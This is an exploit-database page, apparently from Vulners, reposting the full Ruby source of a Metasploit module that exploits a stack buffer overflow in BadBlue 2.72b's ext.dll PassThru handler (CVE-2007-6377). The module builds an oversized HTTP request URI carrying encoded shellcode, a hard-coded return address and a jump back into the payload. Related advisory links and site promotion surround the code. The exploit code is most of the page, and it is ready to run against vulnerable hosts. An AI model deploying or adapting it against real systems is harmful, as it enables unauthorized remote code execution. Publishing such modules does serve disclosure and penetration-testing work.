Lucene search
K

BadBlue 2.72b PassThru Buffer Overflow

🗓️ 26 Nov 2009 00:00:00Reported by MCType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 84 Views

BadBlue 2.72b PassThru Buffer Overflow in ext.dl

Related
Code
ReporterTitlePublishedViews
Family
Circl
CVE-2007-6377
8 Jul 201000:00
circl
CVE
CVE-2007-6377
15 Dec 200701:00
cve
Cvelist
CVE-2007-6377
15 Dec 200701:00
cvelist
Exploit DB
BadBlue 2.72b - PassThru Buffer Overflow (Metasploit)
8 Jul 201000:00
exploitdb
Metasploit
BadBlue 2.72b PassThru Buffer Overflow
11 Feb 200815:18
metasploit
NVD
CVE-2007-6377
15 Dec 200701:46
nvd
Prion
Stack overflow
15 Dec 200701:46
prion
`##  
# $Id$  
##  
  
##  
# This file is part of the Metasploit Framework and may be subject to   
# redistribution and commercial restrictions. Please see the Metasploit  
# Framework web site for more information on licensing and terms of use.  
# http://metasploit.com/framework/  
##  
  
  
require 'msf/core'  
  
  
class Metasploit3 < Msf::Exploit::Remote  
  
include Msf::Exploit::Remote::HttpClient  
  
def initialize(info = {})  
super(update_info(info,   
'Name' => 'BadBlue 2.72b PassThru Buffer Overflow',  
'Description' => %q{  
This module exploits a stack overflow in the PassThru  
functionality in ext.dll in BadBlue 2.72b and earlier.  
},  
'Author' => [ 'MC' ],  
'License' => MSF_LICENSE,  
'Version' => '$Revision$',  
'References' =>  
[  
['CVE', '2007-6377'],  
['OSVDB', '42416'],  
['BID', '26803'],  
],  
'DefaultOptions' =>  
{  
'EXITFUNC' => 'thread',  
},  
'Privileged' => true,  
'Payload' =>  
{  
'Space' => 750,  
'BadChars' => "\x00\x3a\x26\x3f\x25\x23\x20\x0a\x0d\x2f\x2b\x0b\x5c",  
'StackAdjustment' => -3500,  
'EncoderType' => Msf::Encoder::Type::AlphanumUpper,  
'DisableNops' => 'True',  
},  
'Platform' => 'win',  
'Targets' =>   
[  
[ 'BadBlue 2.72b Universal', { 'Ret' => 0x1003f2f3 } ],  
],  
'DefaultTarget' => 0,  
'DisclosureDate' => 'Dec 10 2007'))  
  
register_options( [Opt::RPORT(80),], self.class )   
  
end  
  
def exploit  
# Need to obfuscate the buffer a bit more. "\x96" is ghetto.  
uri = "/ext.dll?mfcisapicommand=PassThru&" + "\x96" * (4116 - payload.encoded.length)   
uri << payload.encoded + Rex::Arch::X86.jmp_short(8) + make_nops(2) + [target.ret].pack('V')   
uri << make_nops(12) + [0xe8, -850].pack('CV')   
  
print_status("Trying target %s..." % target.name)  
  
send_request_raw({'uri' => uri,}, 5)  
  
handler  
disconnect  
end  
  
end  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

26 Nov 2009 00:00Current
0.7Low risk
Vulners AI Score0.7
EPSS0.82776
84